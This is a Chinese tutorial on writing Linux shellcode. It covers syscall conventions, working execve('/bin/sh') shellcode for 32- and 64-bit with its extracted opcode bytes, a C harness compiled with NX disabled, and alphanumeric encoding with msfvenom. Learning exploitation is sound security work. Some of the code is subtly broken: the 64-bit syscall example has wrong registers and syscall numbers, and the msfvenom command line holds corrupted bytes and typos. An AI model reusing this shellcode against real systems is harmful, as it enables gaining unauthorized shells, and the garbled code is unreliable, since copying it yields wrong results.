[toc]
1. 什么是 shellcode ?shellcode 通常用机器语言编写,是一段用于软件漏洞而执行的代码,因其目的常常是让攻击者获得目标机器的命令行 shell 而得名。随着发展,shellcode 现在代表将插入到漏洞利用程序中以完成所需任务的任何字节码。
2. shellcode 原理 2.1 理解系统调用shellcode 通常是一段能够执行某些系统调用的代码,所以直接通过一个int 0x80系统调用,指定想调用的函数的系统调用号(syscall),传入调用函数的参数,即可。
Linux 操作系统(2.6及更早的内核版本),通常用 int $0x80软中断 + 系统调用号(保存到eax中)来实现系统调用,其参数传递顺序依次为 ebx、ecx、edx、esi和edi ,返回值存放在eax。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 .data msg: .ascii "hello 32-bit!\n" len = . - msg .text .global _start _start: movl $len, %edx movl $msg, %ecx movl $1, %ebx movl $4, %eax int $0x80 movl $0, %ebx movl $1, %eax int $0x80
编译执行(可编译成 64 位程序):用gcc编译,生成目标文件,用ld来链接
1 2 3 4 5 6 7 8 9 $ gcc -m32 -c hello32.S $ ld -m elf_i386 -o hello32 hello32.o $ strace ./hello32 127 ⨯ execve("./hello32" , ["./hello32" ], 0x7ffd941ae900 /* 61 vars */) = 0 [ Process PID=3197 runs in 32 bit mode. ] write(1, "hello 32-bit!\n" , 14hello 32-bit! ) = 14 exit (0) = ?+++ exited with 0 +++
虽然软中断 int 0x80 非常经典,但是由于其性能较差,在往后的内核中被快速调用指令代替,32 位系统使用 sysenter(对应 sysexit)指令,64 位系统则使用 syscall(对应 sysret)指令。
2.2 调用约定调用约定是对函数调用时如何传递参数的一种约定。
(1)内核接口
x86-32 系统调用约定:Linux系统调用使用寄存器传递参数。eax 存放系统调用号(syscall_number),ebx、ecx、edx、esi 和 ebp 用于将6个参数传递给系统调用 。返回值保存在 eax 中。所有其它寄存器(包括 EFLAGS)都保存在 int 0x80 中。 x86-64 系统调用约定:系统调用的参数限制为 6 个,不直接从堆栈上传递任何参数。==rax 存放系统调用号(syscall_namber)。内核接口使用的寄存器有 rdi、rsi、rdx、rcx、r8 和 r9。==系统调用通过 syscall 指令完成。除了 rcx、r11 和 eax,其它寄存器都被保留。返回值保存在 rax 中,只有 INTEGER 或者 MEMORY 类型的值才会被传递给内核。 (2)用户接口
x86-32 函数调用约定:参数通过栈进行传递 。最后一个参数第一个被放入栈中,知道所有的参数都放置完毕,然后执行 call 指令。 x86-64 函数调用约定:x86-64 下通过寄存器传递参数 ,这样做比栈更有效率。它避免了内存中参数的存取和额外的指令。根据参数类型的不同,会使用寄存器或传参方式。如果参数类型是 MEMORY ,则在栈上传递参数 。如果类型是 INTEGER ,则==顺序使用 rdi、rsi、rdx、rcx、r8 和 r9。==如果多于 6 个参数,则后面的参数将在栈中传递。 2.2 *32位程序使用 sysenter 的例子1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 .data msg: .ascii "Hello sysenter!\n" len = . - msg .text .globl _start _start: movl $len, %edx movl $msg, %ecx movl $1, %ebx movl $4, %eax #为sysenter布置栈 pushl $sysenter_ret pushl %ecx pushl %edx pushl %ebp movl %esp,%ebp sysenter sysenter_ret: movl $0, %ebx movl $1, %eax #为sysenter布置栈 pushl $sysenter_ret pushl %ecx pushl %edx pushl %ebp movl %esp,%ebp sysenter
可以看到,为了使用 sysenter 指令,需要手动为其布置栈 。这是因为 sysenter 返回时,会执行 _kernel_vsyscall 的后半部分(从 0xf7fd5059 开始)。_kernel_vsyscall 封装了 sysenter 调用的规范,是 vDSO 的一部分,而 vDSO 运行程序在用户层中执行代码。
1 2 3 4 5 6 7 8 9 10 11 gdb-peda$ disasseble __kernel_vsyscall 0xf7fd5050 <+0>: push ecx 0xf7fd5051 <+1>: push edx 0xf7fd5052 <+2>: push ebp 0xf7fd5053 <+3>: mov ebp,esp 0xf7fd5055 <+5>: sysenter 0xf7fd5057 <+7>: int 0x80 --> 0xf7fd5059 <+9>: pop ebp 0xf7fd505a <+10>: pop edx 0xf7fd505b <+11>: pop ecx 0xf7fd505c <+12>: ret
编译执行(不可编译成 64 位程序)
1 2 3 4 5 6 7 8 9 $ gcc -m32 -c sysenter32.S $ ld -m elf_i386 -o sysenter sysenter32.o $ strace ./sysenter execve("./sysenter" , ["./sysenter" ], 0x7ffe74dda6e0 /* 61 vars */) = 0 [ Process PID=3638 runs in 32 bit mode. ] write(1, "Hello sysenter!\n" , 16Hello sysenter! ) = 16 exit (0) = ?+++ exited with 0 +++
2.3 *64位程序使用 syscall 的例子1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 .data msg: .ascii "hello 32-bit!\n" len = . - msg .text .global _start _start: movl $1, %rdi movl $msg, %rsi movl $1, %rdx movl $4, %rax syscall xorq %rdi, %rdi movq $60, %rax syscall
编译执行(不可编译成 32 位程序)
1 2 3 4 5 6 7 8 $ gcc -c hello64.S $ ld -o hello64 hello64.o $ strace ./hello64 execve("./hello64", ["./hello64"], 0x7fffe7d694a0 /* 61 vars */) = 0 write(1, "hello 64-bit!\n", 14hello 64-bit! ) = 14 exit(0) = ? +++ exited with 0 +++
3. 编写简单 shellcodeshellcode 只是一段代码,为了运行和验证,我们通常用函数指针 或者内联函数 的方式把它嵌入到C程序中来调用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #include <stdio.h> #include <string.h> char shellcode[] = "" ;int main () { printf ("Shellcode length: %d bytes\n" ,strlen (shellcode)); (*(void (*)())shellcode)(); }
在 shell-storm 找一些 shellcode 学习案例,先看一个实现 execve("/bin/sh") 的 Linux 32位的程序。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 global _start section .text _start: ; int execve(const char *filename, char *const argv[], char *const envp[]) xor ecx, ecx ; ecx = NULL mul ecx ; eax and edx = NULL mov al, 11 ; execve syscall push ecx ; string NULL push 0x68732f2f ; "//sh" push 0x6e69622f ; "/bin" mov ebx, esp ; pointer to "/bin/sh\0" string int 0x80 ; bingo
首先用 NASM 对这段汇编代码进行编译,然后使用 ld 链接,运行后获得shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $ nasm -f elf32 tiny_execve_sh.asm $ ld -m elf_i386 tiny_execve_sh.o -o tiny_execve_sh $ ./tiny_execve_sh $ objdump -d tiny_execve_sh \ 127 ⨯ tiny_execve_sh: 文件格式 elf32-i386 Disassembly of section .text: 08049000 <_start>: 8049000: 31 c9 xor %ecx,%ecx 8049002: f7 e1 mul %ecx 8049004: b0 0b mov $0xb,%al 8049006: 51 push %ecx 8049007: 68 2f 2f 73 68 push $0x68732f2f 804900c: 68 2f 62 69 6e push $0x6e69622f 8049011: 89 e3 mov %esp,%ebx 8049013: cd 80 int $0x80
为了在 C 程序中使用这段 shellcode,我们需将其 opcode 提取 出来(我这里 cut:无效的字段范围)
1 2 $ objdump -d ./tiny_execve_sh|grep '[0-9a-f]:' |grep -v 'file' |cut -f2 -d:|cut -f1-6 -d' ' |tr -s ' ' |tr '\t' ' ' |sed 's/ $//g' |sed 's/ /\\x/g' |paste -d '' -s |sed 's/^/"/' |sed 's/$/"/g' "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
将提取出来的字符放到 C 程序的 shellcode[] 中。需要注意的是,shellcode 作为全局初始化变量,存放在 .data 段中,而编译时默认开启的 NX 保护机制,会将数据所在的内存页标识为不可执行,当程序转入 shellcode 执行时抛出异常。因此,下面需要关闭 NX。
1 2 $ gcc -m32 -z execstack tiny_execve_sh_shellcode.c -o tiny_execve_sh_shellcode $ ./tiny_execve_sh_shellcode
Linux 64 位的 shellcode 也一样。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 global _start section .text _start: ; execve("/bin/sh", ["/bin/sh"], NULL) ;"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" xor rdx, rdx mov qword rbx, '//bin/sh' ; 0x68732f6e69622f2f shr rbx, 0x8 push rbx mov rdi, rsp push rax push rdi mov rsi, rsp mov al, 0x3b syscall
1 2 3 $ nasm -f elf64 tiny_execve_sh64.asm $ ld -m elf_x86_64 tiny_execve_sh64.o -o tiny_execve_sh64 $ ./tiny_execve_sh64
4. shellcode 变形有时,被注入进程的 shellcode 会被限制使用某些字符,例如不能有 NULL、只能用字母和数字等可见字符、ASCII 和 Unicode 编码转换等,因此需要进行一些处理。
由于 NULL 会将字符串操作函数截断,所以我们需要用其它相似功能的指令来替代,下面是一个 32 位指令替换的例子。
1 2 3 4 5 6 替换前: B8 01000000 MOV EAX,1 替换后: 33C0 XOR EAX,EAX 40 INC EAX
对于只能使用可见字符字母(也就是只能用字母和数字组合)的情况,将 shellcode 的字符进行编码,使其符合限制条件。相应地,需要在 shellcode 中加入解码器,在代码行前将原始 shellcode 还原出来。
著名的渗透测试框架 Metasploit 中就集成了许多 shellcode 的编码器,这里我们选择 x86/alpha_mixed 来编码 32 位的 shellcode。
1 2 3 4 5 $ msfvenom -1 encoders | grep -i alphanumeric x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder x86/unicode uDper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
1 2 3 4 5 6 7 8 $ python -c 'import sys; sys.stdout.write("\x31\xc9\xf7\xel\xb0\x0b\x51\ x68\:<2f\x2f\xT?3\x68\x68\x2f\x62\x69\x6e\x89\xo3\xcd\x80")' | msfveno -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform linux BufterRegister=EAX Attempting to encode payload with 1 iterations of x86/alpha_mixed x86/alpha_mixed succeeded with size 96 (iteration=0) x86/alpha mixed chosen with final size 96 Payload size: 96 bytes PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI01o9igHah04Ksa3XTodot31 xBHtorBcYpnniis8MOpAA
参考:
Linux下shellcode的编写
带你玩转 Linux Shellcode
简述获取shellcode的几种方式
Linux下Shellcode编写
Linux Syscall Table
《CTF竞赛权威指南》